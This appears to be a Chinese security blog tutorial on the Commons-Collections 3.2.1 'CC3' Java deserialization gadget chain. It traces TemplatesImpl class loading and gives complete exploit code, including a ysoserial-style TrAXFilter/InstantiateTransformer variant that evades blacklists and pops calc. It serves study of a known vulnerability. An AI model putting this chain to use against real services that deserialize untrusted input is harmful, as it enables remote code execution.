Java反序列化 Commons-Collections03-cc3链

xekOnerR Sleep.. zzzZZzZ

Commons-Collections03 当然写 cc3链啦

https://drun1baby.top/2022/06/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8704-CC3%E9%93%BE/

https://www.bilibili.com/video/BV1Zf4y1F74K/?spm_id_from=333.1007.top_right_bar_window_history.content.click

前置

  • jdk1.8.0_u65
  • Commons-Collections 3.2.1

回顾类加载

开始之前,回顾一下类加载: ClassLoader#defineClass 直接加载字节码

流程为下:
ClassLoader.loadClass() -> ClassLoader.findClass() -> ClassLoader.defineClass()

loadClass(): 首先会根据双亲委派机制,先从已加载的类缓存,父加载器中寻找类。如果没有找到的情况下走到 findClass()
findClass(): 根据名称或位置加载 .class 字节码,然后使用 defineClass
defineClass: 处理前面传入的字节码,将其处理成真正的 Java 类

  • 真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的C语言代码中
JAVA/attachments/Pasted image 20260211174904.png

name 为类名,b 为字节码数组,off 为偏移量, len 为字节码数组的长度

因为系统的 ClassLoader #defineClass是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用 defineClass() 方法进行字节码的加载,然后实例化之后即可弹 calc

JAVA/attachments/Pasted image 20260211181222.png
  • 优点:不出网也可以加载字节码。
  • 缺点: 需要暴力反射,平常反射中无法调用。

defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类;
此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。

cc3 链分析

TemplatesImpl 分析

因为 defineClass 的方法作用域为 protected,我们需要找到作用域为 public 的类方便利用

find usages:

JAVA/attachments/Pasted image 20260211183238.png

defineClass 方法,没有标注作用域,默认为 default,那就说明肯定在该类中调用了,继续 find Usage

JAVA/attachments/Pasted image 20260211200001.png

defineTransletClasses 方法中调用了,但是该方法作用域为 private ,继续寻找 Usage

JAVA/attachments/Pasted image 20260211200102.png

这里 find Usage 后发现有三处调用了

看到最后一处调用:
JAVA/attachments/Pasted image 20260211200454.png

此处有调用完 defineTransletClasses 方法后,如果将该方法执行完还会调用 newInstance() 实例化,动态执行代码。

但是该方法为 private 私有属性,所以我们继续 find Usage

JAVA/attachments/Pasted image 20260211200631.png

找到了最后一个 public 方法,此处我们调用 newTransformer() 方法后,就会调用 getTransletInstance() 方法。

  • 所以我们的利用流程就为:
1
2
3
4
5
TemplatesImpl.newTransformer()
-> getTransletInstance()
->defineTransletClasses()
-> defineClass()
-> newInstance
JAVA/attachments/Pasted image 20260211201351.png

TemplatesImpl 利用

首先开头肯定是调用 newTransformer 方法
JAVA/attachments/Pasted image 20260211201519.png

其他参数不需要管就会调用 getTransletInstance() 方法

1
2
TemplatesImpl templates = new TemplatesImpl();  
templates.newTransformer();

这里我们可以看到 TemplatesImpl 的构造方法是一个无参构造,所有所有的参数我们这里都要自己赋值
我们的目标是要走到 defineTransletClasses() 这个方法里,所以我们要满足:

  • _name 不为空,否则就会返回 null
  • _class 为空,不然就走不到defineTransletClasses() 这个方法里
JAVA/attachments/Pasted image 20260211201931.png

接着跟进到 defineTransletClasses

  • _bytecodes 不能为空,否则会抛异常
  • _tfactory 必须要赋值,否则会空指针错误
JAVA/attachments/Pasted image 20260211202258.png
  • 跟进 bytecodes 看一下
1
private byte[][] _bytecodes = null;

是一个二维数组
但是需要注意,下面传递进 defineClass 方法中的 bytecodes 是一个一维数组
JAVA/attachments/Pasted image 20260211203315.png

所以我们可以这样写, 满足了二维数组的格式,又可以在参数调用的时候传入字节码数组

1
2
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\calc180.class"));  
byte[][] codes = {code};
  • 在解决这里的 _tfactory
1
private transient TransformerFactoryImpl _tfactory = null;

申明了 transient , 那就说明不管我们对该属性做任何修改,序列化的时候都不参与。
既然这样那肯定在 readObject 中提前就有赋值,我们跟进 readObject 方法查看
JAVA/attachments/Pasted image 20260211205012.png

但是为了方便验证和调试,我们先用反射走一遍

编写EXP & Debug代码

我们先写到目前为止的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class cc3 {  
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();

Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");

Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\calc180.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);

Field declaredField1 = c.getDeclaredField("_tfactory");
declaredField1.setAccessible(true);
declaredField1.set(templates, new TransformerFactoryImpl());

templates.newTransformer();
}
}

其中 calc180.class 为 Runtime 执行 calc 编译后的 class 文件。

运行后发现报错了:
JAVA/attachments/Pasted image 20260211205612.png

NullPointerException , 空指针异常。
根据报错定位到这一行代码
JAVA/attachments/Pasted image 20260211205702.png

为了更清晰的理清代码运行逻辑,在上方设置一个断点调试。
JAVA/attachments/Pasted image 20260211205730.png

走到这里:
JAVA/attachments/Pasted image 20260211210029.png

已经可以看到报错的原因了:
我们在这里没有对 _auxClasses 赋值,走进了 else 语句后报了空指针错误。

那么这里就有两种解决方法:

  • 走进 if 不执行 else 语句
  • _auxClasses 赋值

但是第二个方法有一个问题,因为此时 _transletIndex 的值是 -1
那就一定会走进下面的异常 if if (_transletIndex < 0)
所以只能用第一种解决方法

分析一下这条 if 语句
JAVA/attachments/Pasted image 20260211210535.png

而这里的 superClass 指的是我们通过 byte[][] 注入的字节码文件
所以判断的也就是我们传入的恶意 class 文件中的父类是否继承了 ABSTRACT_TRANSLET 这个类

1
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

修改 Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.IOException;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

需要实现父类 AbstractTranslet 中的两个抽象方法
然后重新构建,拿出 class 文件,修改 cc3中的 class 文件名

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class cc3 {
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();

Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");

Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);

Field declaredField1 = c.getDeclaredField("_tfactory");
declaredField1.setAccessible(true);
declaredField1.set(templates, new TransformerFactoryImpl());

templates.newTransformer();
}
}

再次运行, 成功弹出 calc
JAVA/attachments/Pasted image 20260211212408.png

因此完整的流程图应该是这样,也就是只改了最后 Runtime 的任意命令执行
JAVA/attachments/Pasted image 20260211213134.png

那就是说,到 ChainedTransformer.transform 都不用变。
那我们就把 cc1 链中的 ChainedTransformer 拿过来用

利用 cc1 / cc6 链补全 cc3链

继续利用 ConstantTransformer 返回 templates ,下面调用 newTransformer 方法
因为是无参构造,所以传入两个 null 即可。

1
2
3
4
5
6
7
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
JAVA/attachments/Pasted image 20260211213736.png

可以执行,那就把 cc1 的 exp 后面半段拿过来用就行

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package xekoner;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();

Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");

Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);

Field declaredField1 = c.getDeclaredField("_tfactory");
declaredField1.setAccessible(true);
declaredField1.set(templates, new TransformerFactoryImpl());

// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
Class ac = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Class<? extends Annotation> type, Map<String, Object> memberValues
Constructor annotationInvocationHdlConstructor = ac.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHdlConstructor.setAccessible(true);
Object o = annotationInvocationHdlConstructor.newInstance(Target.class, decorateMap);

// serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

验证可以正常弹 calc
JAVA/attachments/Pasted image 20260211214240.png

  • cc6 链也同理,不做演示了…………………

ysoserial 版 cc3 链

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java

我们继续回到 newTransformer() 方法中 Find Usage
JAVA/attachments/Pasted image 20260211215544.png

TrAXFilter
JAVA/attachments/Pasted image 20260211215619.png

符合我们的利用条件

继续回到 ysoserial 写的 cc3 链,看到作者并没有用 InvokerTransformer , 而是用了 InstantiateTransformer
这也确实,在很多情况下都会把 InvokerTransformer 设置为黑名单。
JAVA/attachments/Pasted image 20260211214817.png

跟进看一下这个类
JAVA/attachments/Pasted image 20260211221010.png

如果传入的参数 Class 类为空则直接抛出异常
不为空执行下面的语句,获取传入参数的构造器,并且实例化调用构造函数

JAVA/attachments/Pasted image 20260211223917.png

所以我们可以写成:

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
instantiateTransformer.transform(TrAXFilter.class);

TrAXFilter 没有实现序列化接口,但是 class 是可以被序列化的

实际上到这一步就已经可以去执行 newTransformer() 方法了,把下面的代码注释掉然后验证一下:

JAVA/attachments/Pasted image 20260211224225.png

没问题,把代码加进 ChainedTransformer 中;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

...

这样,从 ChainedTransformer 开始,不需要管参数值,返回永远是 TrAXFilter.class
返回给 instantiateTransformer 调用 TrAXFilter 的构造方法,然后 TrAXFilter 调用 templates.newTransformer() 方法
就会走到 templates.newTransformer() 方法,然后走接下来的逻辑

验证:
JAVA/attachments/Pasted image 20260211225450.png

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package xekoner;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();

Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "asd");

Field declaredField = c.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates, codes);

Field declaredField1 = c.getDeclaredField("_tfactory");
declaredField1.setAccessible(true);
declaredField1.set(templates, new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
Class ac = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Class<? extends Annotation> type, Map<String, Object> memberValues
Constructor annotationInvocationHdlConstructor = ac.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHdlConstructor.setAccessible(true);
Object o = annotationInvocationHdlConstructor.newInstance(Target.class, decorateMap);

// serialize(o);
unserialize("ser.bin");



}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结

利用 cc3 链的方法,可以绕过一些黑名单
比如说 Runtime exec , InvokerTransformer 等

JAVA/attachments/Pasted image 20260211225846.png
  • Title: Java反序列化 Commons-Collections03-cc3链
  • Author: xekOnerR
  • Created at : 2026-02-11 23:00:22
  • Updated at : 2026-02-11 23:01:03
  • Link: https://xekoner.xyz/2026/02/11/Java反序列化-Commons-Collections03-cc3链/
  • License: This work is licensed under CC BY-NC-SA 4.0.